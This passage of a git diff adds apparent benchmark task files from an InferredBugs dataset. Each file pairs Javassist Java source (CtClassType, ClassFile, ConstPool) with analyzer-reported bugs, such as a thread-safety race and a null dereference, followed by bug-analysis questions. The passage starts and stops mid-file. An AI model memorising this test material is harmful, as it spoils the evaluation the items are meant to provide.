+            }
+            else {
+                classPool.writeClassfile(getName(), out);
+                // to save memory
+                // classfile = null;
+            }
+
+            getCounter = 0;
+            wasFrozen = true;
+        }
+        catch (NotFoundException e) {
+            throw new CannotCompileException(e);
+        }
+        catch (IOException e) {
+            throw new CannotCompileException(e);
+        }
+    }
+
+    /* See also checkModified()
+     */
+    private void checkPruned(String method) {
+        if (wasPruned)
+            throw new RuntimeException(method + "(): " + getName()
+                                       + " was pruned.");
+    }
+
+    public boolean stopPruning(boolean stop) {
+        boolean prev = !doPruning;
+        doPruning = !stop;
+        return prev;
+    }
+
+    private void modifyClassConstructor(ClassFile cf)
+        throws CannotCompileException, NotFoundException
+    {
+        if (fieldInitializers == null)
+            return;
+
+        Bytecode code = new Bytecode(cf.getConstPool(), 0, 0);
+        Javac jv = new Javac(code, this);
+        int stacksize = 0;
+        boolean doInit = false;
+        for (FieldInitLink fi = fieldInitializers; fi != null; fi = fi.next) {
+            CtField f = fi.field;
+            if (Modifier.isStatic(f.getModifiers())) {
+                doInit = true;
+                int s = fi.init.compileIfStatic(f.getType(), f.getName(),
+                                                code, jv);
+                if (stacksize < s)
+                    stacksize = s;
+            }
+        }
+
+        if (doInit)    // need an initializer for static fileds.
+            modifyClassConstructor(cf, code, stacksize, 0);
+    }
+
+    private void modifyClassConstructor(ClassFile cf, Bytecode code,
+                                        int stacksize, int localsize)
+        throws CannotCompileException
+    {
+        MethodInfo m = cf.getStaticInitializer();
+        if (m == null) {
+            code.add(Bytecode.RETURN);
+            code.setMaxStack(stacksize);
+            code.setMaxLocals(localsize);
+            m = new MethodInfo(cf.getConstPool(), "<clinit>", "()V");
+            m.setAccessFlags(AccessFlag.STATIC);
+            m.setCodeAttribute(code.toCodeAttribute());
+            cf.addMethod(m);
+            CtMember.Cache cache = hasMemberCache();
+            if (cache != null)
+                cache.addConstructor(new CtConstructor(m, this));
+        }
+        else {
+            CodeAttribute codeAttr = m.getCodeAttribute();
+            if (codeAttr == null)
+                throw new CannotCompileException("empty <clinit>");
+
+            try {
+                CodeIterator it = codeAttr.iterator();
+                int pos = it.insertEx(code.get());
+                it.insert(code.getExceptionTable(), pos);
+                int maxstack = codeAttr.getMaxStack();
+                if (maxstack < stacksize)
+                    codeAttr.setMaxStack(stacksize);
+
+                int maxlocals = codeAttr.getMaxLocals();
+                if (maxlocals < localsize)
+                    codeAttr.setMaxLocals(localsize);
+            }
+            catch (BadBytecode e) {
+                throw new CannotCompileException(e);
+            }
+        }
+
+        try {
+            m.rebuildStackMapIf6(classPool, cf);
+        }
+        catch (BadBytecode e) {
+            throw new CannotCompileException(e);
+        }
+    }
+
+    private void modifyConstructors(ClassFile cf)
+        throws CannotCompileException, NotFoundException
+    {
+        if (fieldInitializers == null)
+            return;
+
+        ConstPool cp = cf.getConstPool();
+        List list = cf.getMethods();
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            if (minfo.isConstructor()) {
+                CodeAttribute codeAttr = minfo.getCodeAttribute();
+                if (codeAttr != null)
+                    try {
+                        Bytecode init = new Bytecode(cp, 0,
+                                                codeAttr.getMaxLocals());
+                        CtClass[] params
+                            = Descriptor.getParameterTypes(
+                                                minfo.getDescriptor(),
+                                                classPool);
+                        int stacksize = makeFieldInitializer(init, params);
+                        insertAuxInitializer(codeAttr, init, stacksize);
+                        minfo.rebuildStackMapIf6(classPool, cf);
+                    }
+                    catch (BadBytecode e) {
+                        throw new CannotCompileException(e);
+                    }
+            }
+        }
+    }
+
+    private static void insertAuxInitializer(CodeAttribute codeAttr,
+                                             Bytecode initializer,
+                                             int stacksize)
+        throws BadBytecode
+    {
+        CodeIterator it = codeAttr.iterator();
+        int index = it.skipSuperConstructor();
+        if (index < 0) {
+            index = it.skipThisConstructor();
+            if (index >= 0)
+                return;         // this() is called.
+
+            // Neither this() or super() is called.
+        }
+
+        int pos = it.insertEx(initializer.get());
+        it.insert(initializer.getExceptionTable(), pos);
+        int maxstack = codeAttr.getMaxStack();
+        if (maxstack < stacksize)
+            codeAttr.setMaxStack(stacksize);
+    }
+
+    private int makeFieldInitializer(Bytecode code, CtClass[] parameters)
+        throws CannotCompileException, NotFoundException
+    {
+        int stacksize = 0;
+        Javac jv = new Javac(code, this);
+        try {
+            jv.recordParams(parameters, false);
+        }
+        catch (CompileError e) {
+            throw new CannotCompileException(e);
+        }
+
+        for (FieldInitLink fi = fieldInitializers; fi != null; fi = fi.next) {
+            CtField f = fi.field;
+            if (!Modifier.isStatic(f.getModifiers())) {
+                int s = fi.init.compile(f.getType(), f.getName(), code,
+                                        parameters, jv);
+                if (stacksize < s)
+                    stacksize = s;
+            }
+        }
+
+        return stacksize;
+    }
+
+    // Methods used by CtNewWrappedMethod
+
+    Hashtable getHiddenMethods() {
+        if (hiddenMethods == null)
+            hiddenMethods = new Hashtable();
+
+        return hiddenMethods;
+    }
+
+    int getUniqueNumber() { return uniqueNumberSeed++; }
+
+    public String makeUniqueName(String prefix) {
+        HashMap table = new HashMap();
+        makeMemberList(table);
+        Set keys = table.keySet();
+        String[] methods = new String[keys.size()];
+        keys.toArray(methods);
+
+        if (notFindInArray(prefix, methods))
+            return prefix;
+
+        int i = 100;
+        String name;
+        do {
+            if (i > 999)
+                throw new RuntimeException("too many unique name");
+
+            name = prefix + i++;
+        } while (!notFindInArray(name, methods));
+        return name;
+    }
+
+    private static boolean notFindInArray(String prefix, String[] values) {
+        int len = values.length;
+        for (int i = 0; i < len; i++)
+            if (values[i].startsWith(prefix))
+                return false;
+
+        return true;
+    }
+
+    private void makeMemberList(HashMap table) {
+        int mod = getModifiers();
+        if (Modifier.isAbstract(mod) || Modifier.isInterface(mod))
+            try {
+                CtClass[] ifs = getInterfaces();
+                int size = ifs.length;
+                for (int i = 0; i < size; i++) {
+                    CtClass ic =ifs[i];
+                    if (ic != null && ic instanceof CtClassType)
+                        ((CtClassType)ic).makeMemberList(table);
+                }
+            }
+            catch (NotFoundException e) {}
+
+        try {
+            CtClass s = getSuperclass();
+            if (s != null && s instanceof CtClassType)
+                ((CtClassType)s).makeMemberList(table);
+        }
+        catch (NotFoundException e) {}
+
+        List list = getClassFile2().getMethods();
+        int n = list.size();
+        for (int i = 0; i < n; i++) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            table.put(minfo.getName(), this);
+        }
+
+        list = getClassFile2().getFields();
+        n = list.size();
+        for (int i = 0; i < n; i++) {
+            FieldInfo finfo = (FieldInfo)list.get(i);
+            table.put(finfo.getName(), this);
+        }
+    }
+}
+
+class FieldInitLink {
+    FieldInitLink next;
+    CtField field;
+    CtField.Initializer init;
+
+    FieldInitLink(CtField f, CtField.Initializer i) {
+        next = null;
+        field = f;
+        init = i;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `javassist.CtClassType.getClassFile2` reads without synchronization from `this.javassist.CtClassType.getCounter`. Potentially races with write in method `CtClassType.getMembers()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ClassFile CtClassType.getClassFile2()
+
+### Procedure Id:
+javassist.CtClassType.getClassFile2():javassist.bytecode.ClassFile.525406031c907fb2ca52cbc5afbd439f
+
+### File:
+src/main/javassist/CtClassType.java
+
+### Key:
+CtClassType.java|getClassFile2|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+76b6929493ad3d55d7efbffcbc6ecae7
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3378/instruction.md b/inferredbugs-3378/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..12d64788e81d9b456d210c3cf522b121697a1505
--- /dev/null
+++ b/inferredbugs-3378/instruction.md
@@ -0,0 +1,607 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** javassist
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Javassist, a Java-bytecode translator toolkit.
+ * Copyright (C) 1999-2003 Shigeru Chiba. All Rights Reserved.
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License.  Alternatively, the contents of this file may be used under
+ * the terms of the GNU Lesser General Public License Version 2.1 or later.
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ */
+
+package javassist.bytecode;
+
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.util.Map;
+import java.util.LinkedList;
+import java.util.List;
+import javassist.CannotCompileException;
+
+/**
+ * <code>ClassFile</code> represents a Java <code>.class</code> file,
+ * which consists of a constant pool, methods, fields, and attributes.
+ *
+ * @see javassist.CtClass#getClassFile()
+ */
+public final class ClassFile {
+    ConstPool constPool;
+    int thisClass;
+    int accessFlags;
+    int superClass;
+    int[] interfaces;
+    LinkedList fields;
+    LinkedList methods;
+    LinkedList attributes;
+
+    String thisclassname;       // not JVM-internal name
+
+    /**
+     * Constructs a class file from a byte stream.
+     */
+    public ClassFile(DataInputStream in) throws IOException {
+        read(in);
+    }
+
+    /**
+     * Constructs a class file including no members.
+     *
+     * @param isInterface       true if this is an interface.
+     *                          false if this is a class.
+     * @param classname         a fully-qualified class name
+     * @param superclass        a fully-qualified super class name
+     */
+    public ClassFile(boolean isInterface,
+                     String classname, String superclass) {
+        constPool = new ConstPool(classname);
+        thisClass = constPool.getThisClassInfo();
+        if (isInterface)
+            accessFlags = AccessFlag.SUPER | AccessFlag.INTERFACE
+                | AccessFlag.ABSTRACT;
+        else
+            accessFlags = AccessFlag.SUPER;
+
+        initSuperclass(superclass);
+        interfaces = null;
+        fields = new LinkedList();
+        methods = new LinkedList();
+        thisclassname = classname;
+
+        attributes = new LinkedList();
+        attributes.add(new SourceFileAttribute(constPool,
+                                        getSourcefileName(thisclassname)));
+    }
+
+    private void initSuperclass(String superclass) {
+        if (superclass != null)
+            superClass = constPool.addClassInfo(superclass);
+        else
+            superClass = constPool.addClassInfo("java.lang.Object");
+    }
+
+    private static String getSourcefileName(String qname) {
+        int index = qname.lastIndexOf('.');
+        if (index >= 0)
+            qname = qname.substring(index + 1);
+
+        return qname + ".java";
+    }
+
+    /**
+     * Returns a constant pool table.
+     */
+    public ConstPool getConstPool() {
+        return constPool;
+    }
+
+    /**
+     * Returns true if this is an interface.
+     */
+    public boolean isInterface() {
+        return (accessFlags & AccessFlag.INTERFACE) != 0;
+    }
+
+    /**
+     * Returns true if this is a final class or interface.
+     */
+    public boolean isFinal() {
+        return (accessFlags & AccessFlag.FINAL) != 0;
+    }
+
+    /**
+     * Returns true if this is an abstract class or an interface.
+     */
+    public boolean isAbstract() {
+        return (accessFlags & AccessFlag.ABSTRACT) != 0;
+    }
+
+    /**
+     * Returns access flags.
+     *
+     * @see javassist.bytecode.AccessFlag
+     */
+    public int getAccessFlags() {
+        return accessFlags;
+    }
+
+    /**
+     * Changes access flags.
+     *
+     * @see javassist.bytecode.AccessFlag
+     */
+    public void setAccessFlags(int acc) {
+        accessFlags = acc | AccessFlag.SUPER;
+    }
+
+    /**
+     * Returns the class name.
+     */
+    public String getName() {
+        return thisclassname;
+    }
+
+    /**
+     * Sets the class name.  This method substitutes the new name
+     * for all occurrences of the old class name in the class file.
+     */
+    public void setName(String name) {
+        renameClass(thisclassname, name);
+    }
+
+    /**
+     * Returns the super class name.
+     */
+    public String getSuperclass() {
+        return constPool.getClassInfo(superClass);
+    }
+
+    /**
+     * Returns the index of the constant pool entry representing
+     * the super class.
+     */
+    public int getSuperclassId() {
+        return superClass;
+    }
+
+    /**
+     * Sets the super class.
+     *
+     * <p>Unless the old super class is
+     * <code>java.lang.Object</code>, this method substitutes the new name
+     * for all occurrences of the old class name in the class file.
+     * If the old super class is <code>java.lang.Object</code>,
+     * only the calls to a super constructor are modified.
+     */
+    public void setSuperclass(String superclass)
+        throws CannotCompileException
+    {
+        if (constPool.getClassInfo(superClass).equals("java.lang.Object")) {
+            if (superclass != null)
+                try {
+                    superClass = constPool.addClassInfo(superclass);
+                    setSuperclass2(superclass);
+                }
+                catch (BadBytecode e) {
+                    throw new CannotCompileException(e);
+                }
+        }
+        else {
+            if (superclass == null)
+                superclass = "java.lang.Object";
+
+            renameClass(constPool.getClassInfo(superClass), superclass);
+        }
+    }
+
+    /* If the original super class is java.lang.Object, a special
+     * treatment is needed.  Some occurrences of java.lang.Object
+     * in the class file should not be changed into the new super
+     * class name.  For example, the call of Vector.addElement(Object)
+     * should not be changed into the call of Vector.addElement(X),
+     * where X is the new super class.
+     */
+    private void setSuperclass2(String superclass) throws BadBytecode {
+        LinkedList list = methods;
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            minfo.setSuperclass(superclass);
+        }
+    }
+
+    /**
+     * Replaces all occurrences of a class name in the class file.
+     *
+     * <p>If class X is substituted for class Y in the class file,
+     * X and Y must have the same signature.  If Y provides a method
+     * m(), X must provide it even if X inherits m() from the super class.
+     * If this fact is not guaranteed, the bytecode verifier may cause
+     * an error.
+     *
+     * @param oldname           the replaced class name
+     * @param newname           the substituted class name
+     */
+    public final void renameClass(String oldname, String newname) {
+        LinkedList list;
+        int n;
+
+        if (oldname.equals(newname))
+            return;
+
+        if (oldname.equals(thisclassname))
+            thisclassname = newname;
+
+        oldname = Descriptor.toJvmName(oldname);
+        newname = Descriptor.toJvmName(newname);
+        constPool.renameClass(oldname, newname);
+
+        list = methods;
+        n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            String desc = minfo.getDescriptor();
+            minfo.setDescriptor(Descriptor.rename(desc, oldname, newname));
+        }
+
+        list = fields;
+        n = list.size();
+        for (int i = 0; i < n; ++i) {
+            FieldInfo finfo = (FieldInfo)list.get(i);
+            String desc = finfo.getDescriptor();
+            finfo.setDescriptor(Descriptor.rename(desc, oldname, newname));
+        }
+    }
+
+    /**
+     * Replaces all occurrences of several class names in the class file.
+     *
+     * @param classnames        specifies which class name is replaced
+     *                          with which new name.  Class names must
+     *                          be described with the JVM-internal
+     *                          representation like
+     *                          <code>java/lang/Object</code>.
+     *
+     * @see #renameClass(String,String)
+     */
+    public final void renameClass(Map classnames) {
+        String jvmNewThisName
+            = (String)classnames.get(Descriptor.toJvmName(thisclassname));
+        if (jvmNewThisName != null)
+            thisclassname = Descriptor.toJavaName(jvmNewThisName);
+
+        constPool.renameClass(classnames);
+
+        LinkedList list = methods;
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            String desc = minfo.getDescriptor();
+            minfo.setDescriptor(Descriptor.rename(desc, classnames));
+        }
+
+        list = fields;
+        n = list.size();
+        for (int i = 0; i < n; ++i) {
+            FieldInfo finfo = (FieldInfo)list.get(i);
+            String desc = finfo.getDescriptor();
+            finfo.setDescriptor(Descriptor.rename(desc, classnames));
+        }
+    }
+
+    /**
+     * Returns the names of the interfaces implemented by the class.
+     */
+    public String[] getInterfaces() {
+        if (interfaces == null)
+            return new String[0];
+        else {
+            int n = interfaces.length;
+            String[] list = new String[n];
+            for (int i = 0; i < n; ++i)
+                list[i] = constPool.getClassInfo(interfaces[i]);
+
+            return list;
+        }
+    }
+
+    /**
+     * Sets the interfaces.
+     *
+     * @param nameList          the names of the interfaces.
+     */
+    public void setInterfaces(String[] nameList) {
+        if (nameList != null) {
+            int n = nameList.length;
+            interfaces = new int[n];
+            for (int i = 0; i < n; ++i)
+                interfaces[i] = constPool.addClassInfo(nameList[i]);
+        }
+    }
+
+    /**
+     * Appends an interface to the
+     * interfaces implemented by the class.
+     */
+    public void addInterface(String name) {
+        int info = constPool.addClassInfo(name);
+        if (interfaces == null) {
+            interfaces = new int[1];
+            interfaces[0] = info;
+        }
+        else {
+            int n = interfaces.length;
+            int[] newarray = new int[n + 1];
+            System.arraycopy(interfaces, 0, newarray, 0, n);
+            newarray[n] = info;
+            interfaces = newarray;
+        }
+    }
+
+    /**
+     * Returns all the fields declared in the class.
+     *
+     * @return a list of <code>FieldInfo</code>.
+     * @see FieldInfo
+     */
+    public List getFields() { return fields; }
+
+    /**
+     * Appends a field to the class.
+     */
+    public void addField(FieldInfo finfo) {
+        fields.add(finfo);
+    }
+
+    /**
+     * Returns all the methods declared in the class.
+     *
+     * @return a list of <code>MethodInfo</code>.
+     * @see MethodInfo
+     */
+    public List getMethods() { return methods; }
+
+    /**
+     * Returns the method with the specified name.  If there are multiple
+     * methods with that name, this method returns one of them.
+     *
+     * @return null             if no such a method is found.
+     */
+    public MethodInfo getMethod(String name) {
+        LinkedList list = methods;
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            if (minfo.getName().equals(name))
+                return minfo;
+        }
+
+        return null;
+    }
+
+    /**
+     * Returns a static initializer (class initializer), or null if
+     * it does not exist.
+     */
+    public MethodInfo getStaticInitializer() {
+        return getMethod(MethodInfo.nameClinit);
+    }
+
+    /**
+     * Appends a method to the class.
+     */
+    public void addMethod(MethodInfo minfo) {
+        methods.add(minfo);
+    }
+
+    /**
+     * Returns all the attributes.
+     *
+     * @return a list of <code>AttributeInfo</code> objects.
+     * @see AttributeInfo
+     */
+    public List getAttributes() { return attributes; }
+
+    /**
+     * Returns the attribute with the specified name.
+     *
+     * @param name      attribute name
+     */
+    public AttributeInfo getAttribute(String name) {
+        LinkedList list = attributes;
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            AttributeInfo ai = (AttributeInfo)list.get(i);
+            if (ai.getName().equals(name))
+                return ai;
+        }
+
+        return null;
+    }
+
+    /**
+     * Appends an attribute.  If there is already an attribute with
+     * the same name, the new one substitutes for it.
+     */
+    public void addAttribute(AttributeInfo info) {
+        AttributeInfo.remove(attributes, info.getName());
+        attributes.add(info);
+    }
+
+    /**
+     * Returns the source file containing this class.
+     *
+     * @return null     if this information is not available.
+     */
+    public String getSourceFile() {
+        SourceFileAttribute sf
+            = (SourceFileAttribute)getAttribute(SourceFileAttribute.tag);
+        if (sf == null)
+            return null;
+        else
+            return sf.getFileName();
+    }
+
+    private void read(DataInputStream in) throws IOException {
+        int i, n;
+        int magic = in.readInt();
+        if (magic != 0xCAFEBABE)
+            throw new IOException("non class file");
+
+        int major = in.readUnsignedShort();
+        int minor = in.readUnsignedShort();
+        constPool = new ConstPool(in);
+        accessFlags = in.readUnsignedShort();
+        thisClass = in.readUnsignedShort();
+        constPool.setThisClassInfo(thisClass);
+        superClass = in.readUnsignedShort();
+        n = in.readUnsignedShort();
+        if (n == 0)
+            interfaces = null;
+        else {
+            interfaces = new int[n];
+            for (i = 0; i < n; ++i)
+                interfaces[i] = in.readUnsignedShort();
+        }
+
+        ConstPool cp = constPool;
+        n = in.readUnsignedShort();
+        fields = new LinkedList();
+        for (i = 0; i < n; ++i)
+            addField(new FieldInfo(cp, in));
+
+        n = in.readUnsignedShort();
+        methods = new LinkedList();
+        for (i = 0; i < n; ++i)
+            addMethod(new MethodInfo(cp, in));
+
+        attributes = new LinkedList();
+        n = in.readUnsignedShort();
+        for (i = 0; i < n; ++i)
+            addAttribute(AttributeInfo.read(cp, in));
+
+        thisclassname = constPool.getClassInfo(thisClass);
+    }
+
+    /**
+     * Writes a class file represened by this object
+     * into an output stream.
+     */
+    public void write(DataOutputStream out) throws IOException {
+        int i, n;
+
+        out.writeInt(0xCAFEBABE);       // magic
+        out.writeShort(3);              // major version
+        out.writeShort(45);             // minor version
+        constPool.write(out);           // constant pool
+        out.writeShort(accessFlags);
+        out.writeShort(thisClass);
+        out.writeShort(superClass);
+
+        if (interfaces == null)
+            n = 0;
+        else
+            n = interfaces.length;
+
+        out.writeShort(n);
+        for (i = 0; i < n; ++i)
+            out.writeShort(interfaces[i]);
+
+        LinkedList list = fields;
+        n = list.size();
+        out.writeShort(n);
+        for (i = 0; i < n; ++i) {
+            FieldInfo finfo = (FieldInfo)list.get(i);
+            finfo.write(out);
+        }
+
+        list = methods;
+        n = list.size();
+        out.writeShort(n);
+        for (i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            minfo.write(out);
+        }
+
+        out.writeShort(attributes.size());
+        AttributeInfo.writeAll(attributes, out);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `ClassFile.constPool.getClassInfo(ClassFile.superClass)` could be null and is dereferenced at line 183.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ClassFile.setSuperclass(String)
+
+### Procedure Id:
+javassist.bytecode.ClassFile.setSuperclass(java.lang.String):void.be289f30f46e2a130d20b32d5b614b1c
+
+### File:
+src/main/javassist/bytecode/ClassFile.java
+
+### Key:
+ClassFile.java|setSuperclass|NULL_DEREFERENCE
+
+### Node Key:
+8023fa19514f5bcfd89a396cd3854770
+
+### Hash:
+c62a2dbc2b00ca85de196e279601a062
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3382/instruction.md b/inferredbugs-3382/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e74fdc93aaf72dc271f366773c2a1295d1404c95
--- /dev/null
+++ b/inferredbugs-3382/instruction.md
@@ -0,0 +1,1509 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** javassist
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Javassist, a Java-bytecode translator toolkit.
+ * Copyright (C) 1999-2005 Shigeru Chiba. All Rights Reserved.
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License.  Alternatively, the contents of this file may be used under
+ * the terms of the GNU Lesser General Public License Version 2.1 or later.
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ */
+
+package javassist.bytecode;
+
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.PrintWriter;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+import javassist.CtClass;
+
+/**
+ * Constant pool table.
+ */
+public final class ConstPool {
+    LongVector items;
+    int       numOfItems;
+    HashMap classes;
+    HashMap strings;
+    int       thisClassInfo;
+
+    /**
+     * <code>CONSTANT_Class</code>
+     */
+    public static final int CONST_Class = ClassInfo.tag;
+
+    /**
+     * <code>CONSTANT_Fieldref</code>
+     */
+    public static final int CONST_Fieldref = FieldrefInfo.tag;
+
+    /**
+     * <code>CONSTANT_Methodref</code>
+     */
+    public static final int CONST_Methodref = MethodrefInfo.tag;
+
+    /**
+     * <code>CONSTANT_InterfaceMethodref</code>
+     */
+    public static final int CONST_InterfaceMethodref
+                                        = InterfaceMethodrefInfo.tag;
+
+    /**
+     * <code>CONSTANT_String</code>
+     */
+    public static final int CONST_String = StringInfo.tag;
+
+    /**
+     * <code>CONSTANT_Integer</code>
+     */
+    public static final int CONST_Integer = IntegerInfo.tag;
+
+    /**
+     * <code>CONSTANT_Float</code>
+     */
+    public static final int CONST_Float = FloatInfo.tag;
+
+    /**
+     * <code>CONSTANT_Long</code>
+     */
+    public static final int CONST_Long = LongInfo.tag;
+
+    /**
+     * <code>CONSTANT_Double</code>
+     */
+    public static final int CONST_Double = DoubleInfo.tag;
+
+    /**
+     * <code>CONSTANT_NameAndType</code>
+     */
+    public static final int CONST_NameAndType = NameAndTypeInfo.tag;
+
+    /**
+     * <code>CONSTANT_Utf8</code>
+     */
+    public static final int CONST_Utf8 = Utf8Info.tag;
+
+    /**
+     * Represents the class using this constant pool table.
+     */
+    public static final CtClass THIS = null;
+
+    /**
+     * Constructs a constant pool table.
+     *
+     * @param thisclass         the name of the class using this constant
+     *                          pool table
+     */
+    public ConstPool(String thisclass) {
+        items = new LongVector();
+        numOfItems = 0;
+        addItem(null);          // index 0 is reserved by the JVM.
+        classes = new HashMap();
+        strings = new HashMap();
+        thisClassInfo = addClassInfo(thisclass);
+    }
+
+    /**
+     * Constructs a constant pool table from the given byte stream.
+     *
+     * @param in        byte stream.
+     */
+    public ConstPool(DataInputStream in) throws IOException {
+        classes = new HashMap();
+        strings = new HashMap();
+        thisClassInfo = 0;
+        /* read() initializes items and numOfItems, and do addItem(null).
+         */
+        read(in);
+    }
+
+    void prune() {
+        classes = new HashMap();
+        strings = new HashMap();
+    }
+
+    /**
+     * Returns the number of entries in this table.
+     */
+    public int getSize() {
+        return numOfItems;
+    }
+
+    /**
+     * Returns the name of the class using this constant pool table.
+     */
+    public String getClassName() {
+        return getClassInfo(thisClassInfo);
+    }
+
+    /**
+     * Returns the index of <code>CONSTANT_Class_info</code> structure
+     * specifying the class using this constant pool table.
+     */
+    public int getThisClassInfo() {
+        return thisClassInfo;
+    }
+
+    void setThisClassInfo(int i) {
+        thisClassInfo = i;
+    }
+
+    ConstInfo getItem(int n) {
+        return (ConstInfo)items.elementAt(n);
+    }
+
+    /**
+     * Returns the <code>tag</code> field of the constant pool table
+     * entry at the given index.
+     */
+    public int getTag(int index) {
+        return getItem(index).getTag();
+    }
+
+    /**
+     * Reads <code>CONSTANT_Class_info</code> structure
+     * at the given index.
+     *
+     * @return  a fully-qualified class or interface name specified
+     *          by <code>name_index</code>.
+     */
+    public String getClassInfo(int index) {
+        ClassInfo c = (ClassInfo)getItem(index);
+        if (c == null)
+            return null;
+        else
+            return Descriptor.toJavaName(getUtf8Info(c.name));
+    }
+
+    /**
+     * Reads the <code>name_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * at the given index.
+     */
+    public int getNameAndTypeName(int index) {
+        NameAndTypeInfo ntinfo = (NameAndTypeInfo)getItem(index);
+        return ntinfo.memberName;
+    }
+
+    /**
+     * Reads the <code>descriptor_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * at the given index.
+     */
+    public int getNameAndTypeDescriptor(int index) {
+        NameAndTypeInfo ntinfo = (NameAndTypeInfo)getItem(index);
+        return ntinfo.typeDescriptor;
+    }
+
+    /**
+     * Reads the <code>class_index</code> field of the
+     * <code>CONSTANT_Fieldref_info</code> structure
+     * at the given index.
+     */
+    public int getFieldrefClass(int index) {
+        FieldrefInfo finfo = (FieldrefInfo)getItem(index);
+        return finfo.classIndex;
+    }
+
+    /**
+     * Reads the <code>class_index</code> field of the
+     * <code>CONSTANT_Fieldref_info</code> structure
+     * at the given index.
+     *
+     * @return the name of the class at that <code>class_index</code>.
+     */
+    public String getFieldrefClassName(int index) {
+        FieldrefInfo f = (FieldrefInfo)getItem(index);
+        if (f == null)
+            return null;
+        else
+            return getClassInfo(f.classIndex);
+    }
+
+    /**
+     * Reads the <code>name_and_type_index</code> field of the
+     * <code>CONSTANT_Fieldref_info</code> structure
+     * at the given index.
+     */
+    public int getFieldrefNameAndType(int index) {
+        FieldrefInfo finfo = (FieldrefInfo)getItem(index);
+        return finfo.nameAndTypeIndex;
+    }
+
+    /**
+     * Reads the <code>name_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * indirectly specified by the given index.
+     *
+     * @param index     an index to a <code>CONSTANT_Fieldref_info</code>.
+     * @return  the name of the field.
+     */
+    public String getFieldrefName(int index) {
+        FieldrefInfo f = (FieldrefInfo)getItem(index);
+        if (f == null)
+            return null;
+        else {
+            NameAndTypeInfo n = (NameAndTypeInfo)getItem(f.nameAndTypeIndex);
+            if(n == null)
+                return null;
+            else
+                return getUtf8Info(n.memberName);
+        }
+    }
+
+    /**
+     * Reads the <code>descriptor_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * indirectly specified by the given index.
+     *
+     * @param index     an index to a <code>CONSTANT_Fieldref_info</code>.
+     * @return  the type descriptor of the field.
+     */
+    public String getFieldrefType(int index) {
+        FieldrefInfo f = (FieldrefInfo)getItem(index);
+        if (f == null)
+            return null;
+        else {
